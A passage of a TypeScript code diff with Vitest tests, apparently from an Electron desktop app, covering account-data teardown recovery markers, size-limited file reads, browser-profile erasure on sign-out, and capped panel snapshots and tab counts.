{ label: 'local filesystem grants', clear: successfulClear },
])
).resolves.toEqual([])
expect(existsSync(markerPath)).toBe(false)
expect(isAccountDataTeardownRequired()).toBe(false)
})
it('never downgrades or clears an account recovery marker for a server switch', () => {
beginAccountDataTeardown('account', ORIGIN)
beginAccountDataTeardown('deployment', ORIGIN)
const commit = vi.fn(() => true)
expect(getAccountDataTeardownKind()).toBe('account')
expect(completeDeploymentScopedTeardown(commit)).toBe(false)
expect(commit).not.toHaveBeenCalled()
expect(existsSync(markerPath)).toBe(true)
expect(isAccountDataTeardownRequired()).toBe(true)
})
it('does not retarget an active teardown to a different origin', () => {
beginAccountDataTeardown('deployment', ORIGIN)
expect(beginAccountDataTeardown('account', 'https://other.example.com')).toBe(false)
expect(getAccountDataTeardownKind()).toBe('deployment')
expect(getAccountDataTeardownOrigin()).toBe(ORIGIN)
expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({
version: 2,
kind: 'deployment',
origin: ORIGIN,
})
})
it('keeps deployment recovery armed when the server configuration commit fails', () => {
beginAccountDataTeardown('deployment', ORIGIN)
expect(completeDeploymentScopedTeardown(() => false)).toBe(false)
expect(existsSync(markerPath)).toBe(true)
expect(isAccountDataTeardownRequired()).toBe(true)
})
it('keeps deployment recovery armed when the server configuration commit throws', () => {
beginAccountDataTeardown('deployment', ORIGIN)
expect(() =>
completeDeploymentScopedTeardown(() => {
throw new Error('disk unavailable')
})
).toThrow('disk unavailable')
expect(existsSync(markerPath)).toBe(true)
expect(isAccountDataTeardownRequired()).toBe(true)
})
it('reports successful completion of a deployment-scoped teardown', () => {
beginAccountDataTeardown('deployment', ORIGIN)
expect(completeDeploymentScopedTeardown(() => true)).toBe(true)
expect(isAccountDataTeardownRequired()).toBe(false)
})
it('treats an unknown marker version as an untrusted account teardown', () => {
writeFileSync(markerPath, '{"version":3,"kind":"deployment","origin":"https://old.example"}')
initializeAccountDataRecovery(markerPath)
expect(getAccountDataTeardownKind()).toBe('account')
expect(getAccountDataTeardownOrigin()).toBeNull()
expect(prepareAccountDataTeardownForQuit()).toBe(false)
})
it('waits for an admitted commit before teardown can clear its store', async () => {
let releaseMutation: (() => void) | undefined
const mutation = new Promise<void>((resolve) => {
releaseMutation = resolve
})
const generation = captureAccountDataGeneration()
const pendingMutation = runAccountDataMutation(generation, () => mutation)
invalidateAccountDataOperations()
const settled = vi.fn()
const pendingWait = waitForAccountDataMutations().then(settled)
await Promise.resolve()
expect(settled).not.toHaveBeenCalled()
releaseMutation?.()
await pendingMutation
await pendingWait
expect(settled).toHaveBeenCalledOnce()
})
it('rejects a stale commit after teardown begins', async () => {
const generation = captureAccountDataGeneration()
invalidateAccountDataOperations()
const mutation = vi.fn(async () => {})
await expect(runAccountDataMutation(generation, mutation)).rejects.toThrow(
'expired during teardown'
)
expect(mutation).not.toHaveBeenCalled()
})
})
@@ -0,0 +1,223 @@
import { readFileSync, unlinkSync } from 'node:fs'
import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
import { canonicalOrigin, validateOriginInput } from '@/main/config'
const RECOVERY_MARKER_VERSION = 2
export type AccountDataTeardownKind = 'account' | 'deployment'
interface AccountDataRecoveryMarker {
kind: AccountDataTeardownKind
origin: string | null
}
let generation = 0
let teardownRequired = false
let teardownKind: AccountDataTeardownKind | null = null
let teardownOrigin: string | null = null
let recoveryMarkerPath: string | null = null
let durableTeardownKind: AccountDataTeardownKind | null = null
let durableTeardownOrigin: string | null = null
const activeMutations = new Set<Promise<unknown>>()
export class ExpiredAccountDataOperationError extends Error {
constructor() {
super('The account-data operation expired during teardown.')
this.name = 'ExpiredAccountDataOperationError'
}
}
export function captureAccountDataGeneration(): number {
return generation
}
/** Expires work already in progress without changing whether new work is admitted. */
export function advanceAccountDataGeneration(): void {
generation += 1
}
/** Restores the fail-closed teardown state before account-bearing stores open. */
export function initializeAccountDataRecovery(filePath: string | null): boolean {
recoveryMarkerPath = filePath
const marker = filePath ? readRecoveryMarker(filePath) : null
const recoveryRequired = marker !== null
if (recoveryRequired && !teardownRequired) {
advanceAccountDataGeneration()
}
teardownRequired = recoveryRequired
teardownKind = marker?.kind ?? null
teardownOrigin = marker?.origin ?? null
durableTeardownKind = marker?.kind ?? null
durableTeardownOrigin = marker?.origin ?? null
return recoveryRequired
}
export function invalidateAccountDataOperations(): void {
advanceAccountDataGeneration()
teardownRequired = true
}
/** Persists recovery intent before invalidating account-data work. */
export function beginAccountDataTeardown(kind: AccountDataTeardownKind, origin: string): boolean {
const validated = validateOriginInput(origin)
if (!validated.ok) return false
const targetOrigin = canonicalOrigin(validated.origin)
if (teardownRequired && teardownOrigin !== targetOrigin) return false
const effectiveKind = kind === 'account' || teardownKind === 'account' ? 'account' : 'deployment'
if (!persistAccountDataRecoveryMarker(effectiveKind, targetOrigin)) return false
const wasRequired = teardownRequired
teardownKind = effectiveKind
teardownOrigin = targetOrigin
teardownRequired = true
if (!wasRequired) advanceAccountDataGeneration()
return true
}
export function isAccountDataTeardownRequired(): boolean {
return teardownRequired
}
export function getAccountDataTeardownKind(): AccountDataTeardownKind | null {
return teardownKind
}
export function getAccountDataTeardownOrigin(): string | null {
return teardownOrigin
}
/** Retries marker persistence so shutdown cannot lose an incomplete teardown. */
export function prepareAccountDataTeardownForQuit(): boolean {
return (
!teardownRequired ||
(teardownKind !== null &&
teardownOrigin !== null &&
persistAccountDataRecoveryMarker(teardownKind, teardownOrigin))
)
}
export interface AccountDataRecoveryStore {
label: string
clear: () => void | Promise<void>
}
/** Retries every erasure from an interrupted teardown without restoring stores first. */
export async function retryAccountDataTeardown(
stores: readonly AccountDataRecoveryStore[]
): Promise<readonly string[]> {
if (!teardownRequired) return []
await waitForAccountDataMutations()
const outcomes = await Promise.allSettled(
stores.map(({ clear }) => Promise.resolve().then(clear))
)
const failures = outcomes.flatMap((outcome, index) =>
outcome.status === 'rejected' ? [stores[index].label] : []
)
if (failures.length === 0) {
completeAccountDataTeardown()
}
return failures
}
export function isAccountDataGenerationCurrent(capturedGeneration: number): boolean {
return !teardownRequired && capturedGeneration === generation
}
/** Allows account-data mutations again only after every sensitive store was erased. */
export function completeAccountDataTeardown(): void {
if (recoveryMarkerPath) {
try {
unlinkSync(recoveryMarkerPath)
} catch (error) {
const code = (error as NodeJS.ErrnoException).code
if (code !== 'ENOENT' && code !== 'ENOTDIR') throw error
}
}
durableTeardownKind = null
durableTeardownOrigin = null
teardownRequired = false
teardownKind = null
teardownOrigin = null
}
/** Commits a server switch and clears its marker without weakening an account wipe. */
export function completeDeploymentScopedTeardown(commit: () => boolean): boolean {
if (teardownKind !== 'deployment') return false
if (!commit()) return false
completeAccountDataTeardown()
return true
}
/** Tracks a persistent mutation so teardown waits for it to settle. */
export async function runAccountDataMutation<T>(
capturedGeneration: number,
operation: () => Promise<T>
): Promise<T> {
if (!isAccountDataGenerationCurrent(capturedGeneration)) {
throw new ExpiredAccountDataOperationError()
}
const pending = operation()
activeMutations.add(pending)
try {
return await pending
} finally {
activeMutations.delete(pending)
}
}
/** Waits until commits already admitted for the outgoing account have settled. */
export async function waitForAccountDataMutations(): Promise<void> {
while (activeMutations.size > 0) {
await Promise.allSettled([...activeMutations])
}
}
function persistAccountDataRecoveryMarker(kind: AccountDataTeardownKind, origin: string): boolean {
if (
durableTeardownOrigin === origin &&
(durableTeardownKind === 'account' ||
(durableTeardownKind === 'deployment' && kind === 'deployment'))
) {
return true
}
if (!recoveryMarkerPath) return false
try {
writeJsonFileAtomicallySync(recoveryMarkerPath, {
version: RECOVERY_MARKER_VERSION,
kind,
origin,
})
durableTeardownKind = kind
durableTeardownOrigin = origin
return true
} catch {
return false
}
}
function readRecoveryMarker(filePath: string): AccountDataRecoveryMarker | null {
let raw: string
try {
raw = readFileSync(filePath, 'utf8')
} catch (error) {
return (error as NodeJS.ErrnoException).code === 'ENOENT'
? null
: { kind: 'account', origin: null }
}
try {
const parsed = JSON.parse(raw) as { kind?: unknown; origin?: unknown; version?: unknown }
if (
parsed.version !== RECOVERY_MARKER_VERSION ||
(parsed.kind !== 'account' && parsed.kind !== 'deployment') ||
typeof parsed.origin !== 'string'
) {
return { kind: 'account', origin: null }
}
const validated = validateOriginInput(parsed.origin)
if (!validated.ok || canonicalOrigin(validated.origin) !== parsed.origin) {
return { kind: 'account', origin: null }
}
return { kind: parsed.kind, origin: parsed.origin }
} catch {
return { kind: 'account', origin: null }
}
}
@@ -0,0 +1,47 @@
import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it } from 'vitest'
import {
FileResourceLimitError,
readFileWithinLimit,
readFileWithinLimitSync,
} from '@/main/atomic-json-file'
describe('bounded file reads', () => {
let directory: string
beforeEach(() => {
directory = mkdtempSync(join(tmpdir(), 'sim-bounded-file-'))
})
afterEach(() => {
rmSync(directory, { recursive: true, force: true })
})
it('reads the file through its opened handle', async () => {
const filePath = join(directory, 'store.json')
writeFileSync(filePath, 'bounded payload')
await expect(readFileWithinLimit(filePath, 15)).resolves.toEqual(Buffer.from('bounded payload'))
expect(readFileWithinLimitSync(filePath, 15)).toEqual(Buffer.from('bounded payload'))
})
it('rejects a file larger than the configured limit', async () => {
const filePath = join(directory, 'store.json')
writeFileSync(filePath, 'too large')
await expect(readFileWithinLimit(filePath, 8)).rejects.toBeInstanceOf(FileResourceLimitError)
expect(() => readFileWithinLimitSync(filePath, 8)).toThrow(FileResourceLimitError)
})
it('rejects non-file handles', async () => {
const childDirectory = join(directory, 'store')
mkdirSync(childDirectory)
await expect(readFileWithinLimit(childDirectory, 100)).rejects.toBeInstanceOf(
FileResourceLimitError
)
expect(() => readFileWithinLimitSync(childDirectory, 100)).toThrow(FileResourceLimitError)
})
})
+63 -2
View File
@@ -1,10 +1,71 @@
import { mkdirSync, renameSync, writeFileSync } from 'node:fs'
import { mkdir, rename, unlink, writeFile } from 'node:fs/promises'
import {
closeSync,
fstatSync,
mkdirSync,
openSync,
readSync,
renameSync,
writeFileSync,
} from 'node:fs'
import { mkdir, open, rename, unlink, writeFile } from 'node:fs/promises'
import { dirname } from 'node:path'
/** Owner-only, matching every store that keeps user data in userData. */
const FILE_MODE = 0o600
export class FileResourceLimitError extends Error {
constructor() {
super('File exceeded the configured size limit')
this.name = 'FileResourceLimitError'
}
}
function validateReadableFile(isFile: boolean, size: number, maxBytes: number): void {
if (!isFile || !Number.isSafeInteger(size) || size < 0 || size > maxBytes) {
throw new FileResourceLimitError()
}
}
/** Reads at most the size observed on the opened file handle, plus one growth-detection byte. */
export async function readFileWithinLimit(filePath: string, maxBytes: number): Promise<Buffer> {
const handle = await open(filePath, 'r')
try {
const metadata = await handle.stat()
validateReadableFile(metadata.isFile(), metadata.size, maxBytes)
const buffer = Buffer.allocUnsafe(metadata.size + 1)
let offset = 0
while (offset < buffer.length) {
const { bytesRead } = await handle.read(buffer, offset, buffer.length - offset, offset)
if (bytesRead === 0) break
offset += bytesRead
}
if (offset > metadata.size) throw new FileResourceLimitError()
return buffer.subarray(0, offset)
} finally {
await handle.close()
}
}
/** Synchronous counterpart for Electron shutdown and startup paths that cannot await. */
export function readFileWithinLimitSync(filePath: string, maxBytes: number): Buffer {
const descriptor = openSync(filePath, 'r')
try {
const metadata = fstatSync(descriptor)
validateReadableFile(metadata.isFile(), metadata.size, maxBytes)
const buffer = Buffer.allocUnsafe(metadata.size + 1)
let offset = 0
while (offset < buffer.length) {
const bytesRead = readSync(descriptor, buffer, offset, buffer.length - offset, offset)
if (bytesRead === 0) break
offset += bytesRead
}
if (offset > metadata.size) throw new FileResourceLimitError()
return buffer.subarray(0, offset)
} finally {
closeSync(descriptor)
}
}
/**
* Distinct per call, not just per process.
*
@@ -0,0 +1,55 @@
import { beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
const mocks = vi.hoisted(() => ({
clearProfileStorage: vi.fn(async () => {}),
clearCredentials: vi.fn(async () => {}),
}))
vi.mock('@/main/browser-agent/session', () => ({
clearProfileStorage: mocks.clearProfileStorage,
initSession: vi.fn(),
}))
vi.mock('@/main/browser-credentials', () => ({
clearCredentials: mocks.clearCredentials,
fillCoordinator: vi.fn(() => null),
initFillCoordinator: vi.fn(),
}))
import { clearBrowserProfile, initDriver } from '@/main/browser-agent/driver'
import type { ConfigStore } from '@/main/config'
describe('clearBrowserProfile', () => {
beforeEach(() => {
vi.clearAllMocks()
})
it('requires settings erasure for sign-out but lets explicit server repair replace it', async () => {
const config = {
get: vi.fn(() => undefined),
set: vi.fn(),
flush: vi.fn(() => false),
} as unknown as ConfigStore
initDriver(
{
onPageState: vi.fn(),
onTabsState: vi.fn(),
onSessionStatus: vi.fn(),
onFillAvailability: vi.fn(),
},
() => null,
config
)
await expect(clearBrowserProfile()).rejects.toThrow('Browser profile teardown was incomplete')
await expect(
clearBrowserProfile({ settingsPersistence: 'server-repair' })
).resolves.toBeUndefined()
expect(mocks.clearProfileStorage).toHaveBeenCalledTimes(2)
expect(mocks.clearCredentials).toHaveBeenCalledTimes(2)
expect(config.flush).toHaveBeenCalledTimes(2)
})
})
@@ -571,6 +571,23 @@ describe('executeTool', () => {
)
})
it('routes an exact renderer media decision through the scoped session boundary', async () => {
const respond = vi.spyOn(session, 'respondToMediaPermission').mockResolvedValue()
await driver.handlePanelAction('chat-test', {
action: 'respond-media-permission',
requestId: 'request-1',
allowed: true,
})
await driver.handlePanelAction('chat-test', {
action: 'respond-media-permission',
requestId: 'request-2',
})
expect(respond).toHaveBeenCalledOnce()
expect(respond).toHaveBeenCalledWith('request-1', true)
})
it('keeps tool queues and tab state isolated by chat scope', async () => {
await driver.executeTool('chat-a', 'browser_open_tab', {})
await driver.executeTool('chat-a', 'browser_open_tab', {})
+32 -6
View File
@@ -265,6 +265,7 @@ function recordNotice(notice: string): void {
*/
function pageStateFor(contents: WebContents, tabId: string): BrowserPageState {
const issue = session.pageIssueForContents(contents)
const mediaPermissionRequest = session.mediaPermissionRequestForContents(contents)
return {
scopeId: session.getBrowserScopeId(),
tabId,
@@ -274,6 +275,7 @@ function pageStateFor(contents: WebContents, tabId: string): BrowserPageState {
canGoBack: session.canGoBack(contents),
canGoForward: session.canGoForward(contents),
...(issue ? { issue } : {}),
...(mediaPermissionRequest ? { mediaPermissionRequest } : {}),
}
}
@@ -661,8 +663,9 @@ export async function clearBrowsingData(
): Promise<void> {
// The remembered browsing trail is the local mirror of the cookie jar, so it
// goes when cookies do and stays when they do not.
if (kinds.includes('cookies')) knownSessions?.clear()
const settingsCleared = !kinds.includes('cookies') || knownSessions?.clear() !== false
await session.clearAgentData(kinds)
if (!settingsCleared) throw new Error('Browser settings could not be erased')
}
/**
@@ -671,15 +674,32 @@ export async function clearBrowsingData(
* in on the same machine must not inherit the previous user's sessions or
* passwords.
*/
export async function clearBrowserProfile(): Promise<void> {
knownSessions?.clear()
await session.clearProfileStorage()
await clearCredentials()
export interface ClearBrowserProfileOptions {
/** The server picker will replace the blocked settings file immediately after profile erasure. */
settingsPersistence: 'required' | 'server-repair'
}
export async function clearBrowserProfile(
options: ClearBrowserProfileOptions = { settingsPersistence: 'required' }
): Promise<void> {
const settingsCleared = knownSessions?.clear() !== false
const outcomes = await Promise.allSettled([session.clearProfileStorage(), clearCredentials()])
// Last, covering the pinned-tab list `clearProfileStorage` just emptied.
// Settings writes coalesce, and an erasure that is still sitting in that
// window when the process dies leaves the previous account's data on disk
// after sign-out already told the user it was gone.
configStore?.flush()
if (
(!settingsCleared || configStore?.flush() === false) &&
options.settingsPersistence === 'required'
) {
outcomes.push({ status: 'rejected', reason: new Error('Browser settings could not be erased') })
}
const failures = outcomes.flatMap((outcome) =>
outcome.status === 'rejected' ? [outcome.reason] : []
)
if (failures.length > 0) {
throw new AggregateError(failures, 'Browser profile teardown was incomplete.')
}
}
function str(params: Record<string, unknown>, key: string): string | undefined {
@@ -3798,6 +3818,12 @@ export async function handlePanelAction(
}
return
}
if (action.action === 'respond-media-permission') {
if (typeof action.requestId === 'string' && typeof action.allowed === 'boolean') {
await session.respondToMediaPermission(action.requestId, action.allowed)
}
return
}
// Navigate bootstraps the session: the user can open the panel manually
// (before the agent ever touched the browser) and drive it from the URL
// bar. The other chrome actions need an existing page.
@@ -168,14 +168,14 @@ export class BrowserKnownSessionRegistry {
* whoever was signed in, so Sim sign-out must not leave it for the next
* account.
*/
clear(): void {
clear(): boolean {
this.config.set('browserKnownSites', [])
// Not left to the debounce. Ordinary writes here can afford to coalesce,
// but this one is an erasure the user asked for: if the process dies in
// the coalescing window — force quit, crash, OS shutdown — the previous
// account's browsing trail is still on disk for whoever signs in next,
// and sign-out has already reported success.
this.config.flush()
return this.config.flush()
}
list(cookieSignals: BrowserCookieSignal[]): BrowserKnownSessionsState {
@@ -126,6 +126,141 @@ describe('panel chat scope', () => {
expect(view.setBounds).not.toHaveBeenCalled()
})
it('recovers when capturePage throws before returning a promise', async () => {
const { win, view } = showPanel(panel)
const scopeId = panel.getActivePanelScopeId()
const image = await view.webContents.capturePage()
vi.mocked(view.webContents.capturePage).mockImplementationOnce(() => {
throw new Error('WebContents was destroyed')
})
await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull()
vi.mocked(view.webContents.capturePage).mockResolvedValue(image)
await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toMatchObject({
dataUrl: 'data:image/png;base64,c2lt',
})
})
it('shares one native capture across concurrent requests for the same frame', async () => {
const { win, view } = showPanel(panel)
const scopeId = panel.getActivePanelScopeId()
let resolveCapture:
| ((image: Awaited<ReturnType<typeof view.webContents.capturePage>>) => void)
| undefined
const image = await view.webContents.capturePage()
vi.mocked(view.webContents.capturePage).mockClear()
vi.mocked(view.webContents.capturePage).mockReturnValue(
new Promise((resolve) => {
resolveCapture = resolve
})
)
const first = panel.capturePanelSnapshot(win, scopeId)
const second = panel.capturePanelSnapshot(win, scopeId)
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
resolveCapture?.(image)
await expect(Promise.all([first, second])).resolves.toHaveLength(2)
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
})
it('does not dedupe a queued capture across panel owner windows', async () => {
const { win, view } = showPanel(panel)
const other = new BrowserWindow()
const scopeId = panel.getActivePanelScopeId()
const image = await view.webContents.capturePage()
const pendingCaptures: Array<(value: typeof image) => void> = []
vi.mocked(view.webContents.capturePage).mockClear()
vi.mocked(view.webContents.capturePage).mockImplementation(
() =>
new Promise((resolve) => {
pendingCaptures.push(resolve)
})
)
const first = panel.capturePanelSnapshot(win, scopeId)
panel.setPanelBounds(PANEL_RECT, other)
const second = panel.capturePanelSnapshot(other, scopeId)
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
pendingCaptures[0]?.(image)
await expect(first).resolves.toBeNull()
await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
pendingCaptures[1]?.(image)
await expect(second).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' })
})
it('serializes native captures and coalesces queued navigation requests to the latest page', async () => {
const { win, view } = showPanel(panel)
const scopeId = panel.getActivePanelScopeId()
const image = await view.webContents.capturePage()
const pendingCaptures: Array<(value: typeof image) => void> = []
vi.mocked(view.webContents.capturePage).mockClear()
vi.mocked(view.webContents.capturePage).mockImplementation(
() =>
new Promise((resolve) => {
pendingCaptures.push(resolve)
})
)
vi.mocked(view.webContents.getURL).mockReturnValue('https://one.example')
const first = panel.capturePanelSnapshot(win, scopeId)
vi.mocked(view.webContents.getURL).mockReturnValue('https://two.example')
const superseded = panel.capturePanelSnapshot(win, scopeId)
vi.mocked(view.webContents.getURL).mockReturnValue('https://three.example')
const latest = panel.capturePanelSnapshot(win, scopeId)
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
await expect(superseded).resolves.toBeNull()
pendingCaptures[0]?.(image)
await expect(first).resolves.toBeNull()
await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
pendingCaptures[1]?.(image)
await expect(latest).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' })
expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)
})
it('does not dedupe content zoom changes that round to the same displayed percentage', async () => {
const { win, view } = showPanel(panel)
const scopeId = panel.getActivePanelScopeId()
const image = await view.webContents.capturePage()
const pendingCaptures: Array<(value: typeof image) => void> = []
vi.mocked(view.webContents.capturePage).mockClear()
vi.mocked(view.webContents.capturePage).mockImplementation(
() =>
new Promise((resolve) => {
pendingCaptures.push(resolve)
})
)
vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.101)
const first = panel.capturePanelSnapshot(win, scopeId)
vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.104)
const second = panel.capturePanelSnapshot(win, scopeId)
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
pendingCaptures[0]?.(image)
await expect(first).resolves.toBeNull()
await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
pendingCaptures[1]?.(image)
await expect(second).resolves.toMatchObject({ zoomPercent: 121 })
})
it('refuses a panel capture whose pixel budget is unsafe', async () => {
const { win, view } = showPanel(panel)
const scopeId = panel.getActivePanelScopeId()
vi.mocked(win.getContentSize).mockReturnValue([10_000, 10_000])
panel.setPanelBounds({ x: 0, y: 0, width: 5_000, height: 5_000 }, win)
vi.mocked(view.webContents.capturePage).mockClear()
await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull()
expect(view.webContents.capturePage).not.toHaveBeenCalled()
})
it('requests a fresh compositor frame when a browser view is attached or revealed', () => {
const { win, view } = showPanel(panel)
+137 -24
View File
@@ -31,6 +31,8 @@ const logger = createLogger('BrowserAgentPanel')
*/
const PANEL_LEASE_TTL_MS = 2_500
const PANEL_LEASE_CHECK_MS = 1_000
const MAX_PANEL_SNAPSHOT_PIXELS = 16_777_216
const MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH = 32 * 1024 * 1024
/** What the panel needs from the session, supplied once by {@link initPanel}. */
export interface PanelHost {
@@ -67,6 +69,19 @@ let panelOccluded = false
let occlusionOwnerWindow: BrowserWindow | null = null
/** Invalidates captures when ownership, scope, or panel visibility changes. */
let panelCaptureGeneration = 0
let inFlightPanelCapture: {
generation: number
key: string
promise: Promise<BrowserPanelSnapshot | null>
} | null = null
let queuedPanelCapture: {
key: string
ownerWindow: BrowserWindow | undefined
promise: Promise<BrowserPanelSnapshot | null>
reject: (reason?: unknown) => void
resolve: (snapshot: BrowserPanelSnapshot | null) => void
scopeId: string
} | null = null
let panelLeaseAt = 0
let leaseTimer: ReturnType<typeof setInterval> | null = null
/** Chat whose native browser surface may currently be composited. */
@@ -299,6 +314,8 @@ function resetOcclusion(): void {
occlusionOwnerWindow = null
occludableFrame = null
panelCaptureGeneration++
queuedPanelCapture?.resolve(null)
queuedPanelCapture = null
}
/**
@@ -491,6 +508,39 @@ function blankSnapshot(
}
}
function queuePanelCapture(
key: string,
ownerWindow: BrowserWindow | undefined,
scopeId: string
): Promise<BrowserPanelSnapshot | null> {
if (queuedPanelCapture?.key === key) return queuedPanelCapture.promise
panelCaptureGeneration++
queuedPanelCapture?.resolve(null)
let resolveCapture!: (snapshot: BrowserPanelSnapshot | null) => void
let rejectCapture!: (reason?: unknown) => void
const promise = new Promise<BrowserPanelSnapshot | null>((resolve, reject) => {
resolveCapture = resolve
rejectCapture = reject
})
queuedPanelCapture = {
key,
ownerWindow,
promise,
reject: rejectCapture,
resolve: resolveCapture,
scopeId,
}
return promise
}
function startQueuedPanelCapture(): void {
const queued = queuedPanelCapture
if (!queued) return
queuedPanelCapture = null
void capturePanelSnapshot(queued.ownerWindow, queued.scopeId).then(queued.resolve, queued.reject)
}
/**
* Captures the compositor surface without resizing or lossy encoding.
*
@@ -520,8 +570,6 @@ export async function capturePanelSnapshot(
layout()
if (attachedView !== active.view) return null
const generation = ++panelCaptureGeneration
occludableFrame = null
const tabId = active.id
const contents = active.view.webContents
const shellZoom = win.webContents.getZoomFactor()
@@ -535,41 +583,106 @@ export async function capturePanelSnapshot(
nativeBounds,
}
const viewportBounds = viewportBoundsFor(nativeBounds, shellZoom)
const zoomPercent = zoomPercentOf(contents.getZoomFactor())
const contentsZoom = contents.getZoomFactor()
const zoomPercent = zoomPercentOf(contentsZoom)
const url = contents.getURL()
if (url === '' || url === 'about:blank') {
panelCaptureGeneration++
occludableFrame = null
if (!frameGeometryIsCurrent(frame)) return null
occludableFrame = frame
return blankSnapshot(scopeId, tabId, zoomPercent, viewportBounds)
}
if (
nativeBounds.width <= 0 ||
nativeBounds.height <= 0 ||
nativeBounds.width * nativeBounds.height > MAX_PANEL_SNAPSHOT_PIXELS
) {
logger.warn('Browser panel is too large to capture safely', {
width: nativeBounds.width,
height: nativeBounds.height,
})
return null
}
const captureKey = JSON.stringify([
win.id,
scopeId,
tabId,
url,
contentsZoom,
shellZoom,
nativeBounds.x,
nativeBounds.y,
nativeBounds.width,
nativeBounds.height,
])
if (
inFlightPanelCapture?.key === captureKey &&
inFlightPanelCapture.generation === panelCaptureGeneration
) {
return inFlightPanelCapture.promise
}
if (inFlightPanelCapture) return queuePanelCapture(captureKey, ownerWindow, scopeId)
occludableFrame = null
const generation = ++panelCaptureGeneration
let capture: ReturnType<typeof contents.capturePage>
try {
const image = await contents.capturePage(undefined, { stayHidden: false })
if (
generation !== panelCaptureGeneration ||
scopeId !== activePanelScopeId ||
host.activeTab()?.id !== tabId ||
panelWindow() !== win ||
win.isDestroyed() ||
!frameGeometryIsCurrent(frame) ||
image.isEmpty()
) {
return null
}
const snapshot: BrowserPanelSnapshot = {
scopeId,
tabId,
zoomPercent,
viewportBounds,
dataUrl: image.toDataURL(),
}
occludableFrame = frame
return snapshot
capture = contents.capturePage(undefined, { stayHidden: false })
} catch (error) {
logger.warn('Could not capture browser panel for a toolbar menu', {
error: getErrorMessage(error, 'unknown'),
})
return null
}
const promise = capture
.then((image): BrowserPanelSnapshot | null => {
const imageSize = image.getSize()
if (
generation !== panelCaptureGeneration ||
scopeId !== activePanelScopeId ||
host.activeTab()?.id !== tabId ||
panelWindow() !== win ||
win.isDestroyed() ||
!frameGeometryIsCurrent(frame) ||
image.isEmpty() ||
imageSize.width <= 0 ||
imageSize.height <= 0 ||
imageSize.width * imageSize.height > MAX_PANEL_SNAPSHOT_PIXELS
) {
return null
}
const dataUrl = image.toDataURL()
if (dataUrl.length > MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH) {
logger.warn('Browser panel snapshot exceeded the encoded size limit', {
bytes: dataUrl.length,
})
return null
}
const snapshot: BrowserPanelSnapshot = {
scopeId,
tabId,
zoomPercent,
viewportBounds,
dataUrl,
}
occludableFrame = frame
return snapshot
})
.catch((error) => {
logger.warn('Could not capture browser panel for a toolbar menu', {
error: getErrorMessage(error, 'unknown'),
})
return null
})
.finally(() => {
if (inFlightPanelCapture?.promise !== promise) return
inFlightPanelCapture = null
startQueuedPanelCapture()
})
inFlightPanelCapture = { generation, key: captureKey, promise }
return promise
}
/**
@@ -6,7 +6,7 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
import { BrowserWindow, session as electronSession, Menu, shell } from 'electron'
import { BrowserWindow, session as electronSession, Menu, shell, systemPreferences } from 'electron'
import { BASE_ZOOM_FACTOR, steppedZoomFactor } from '@/main/browser-agent/context-menu'
import * as panel from '@/main/browser-agent/panel'
import * as sessionModule from '@/main/browser-agent/session'
@@ -14,6 +14,12 @@ import type { BrowserSessionSnapshot } from '@/main/desktop-chat-session-store'
type SessionModule = typeof import('@/main/browser-agent/session')
const realPlatform = process.platform
function setPlatform(platform: NodeJS.Platform): void {
Object.defineProperty(process, 'platform', { configurable: true, value: platform })
}
interface MockView {
webContents: {
session: {
@@ -480,6 +486,133 @@ describe('browser-agent session', () => {
})
})
it('bounds restored tabs while retaining pinned tabs and the active page', () => {
const tabs = Array.from({ length: 40 }, (_, index) => ({
url: `https://tab-${index}.example/`,
pinned: index < 5,
}))
const { persistence } = memoryBrowserPersistence({
'chat-bounded-tabs': {
v: 1,
tabs,
activeIndex: tabs.length - 1,
downloads: [],
},
})
session = freshSession(win, {}, persistence)
const restored = session.withBrowserScope('chat-bounded-tabs', () => {
session.restoreBrowserSession()
return session.getTabsState()
})
expect(restored.tabs).toHaveLength(32)
expect(restored.tabs.filter((tab) => tab.pinned)).toHaveLength(5)
expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://tab-39.example/')
})
it('refuses to materialize more than the per-task live tab budget', () => {
session.ensureTab()
for (let index = 1; index < 32; index++) session.addTab()
expect(() => session.addTab()).toThrow('at most 32 open tabs')
expect(session.getTabsState().tabs).toHaveLength(32)
})
it('bounds the total number of live browser WebContents across tasks', () => {
for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) {
session.withBrowserScope(`chat-cap-${scopeIndex}`, () => {
session.ensureTab()
for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab()
})
}
expect(() => session.withBrowserScope('chat-cap-overflow', () => session.ensureTab())).toThrow(
'at most 96 live browser tabs'
)
})
it('does not truncate a saved browser session while the global tab budget is occupied', () => {
const savedTabs = [
{ url: 'https://saved-one.example/', pinned: false },
{ url: 'https://saved-two.example/', pinned: false },
]
const { persistence, snapshots } = memoryBrowserPersistence({
'chat-pending-restore': {
v: 1,
tabs: savedTabs,
activeIndex: 1,
downloads: [],
},
})
session = freshSession(win, {}, persistence)
for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) {
session.withBrowserScope(`chat-cap-${scopeIndex}`, () => {
session.ensureTab()
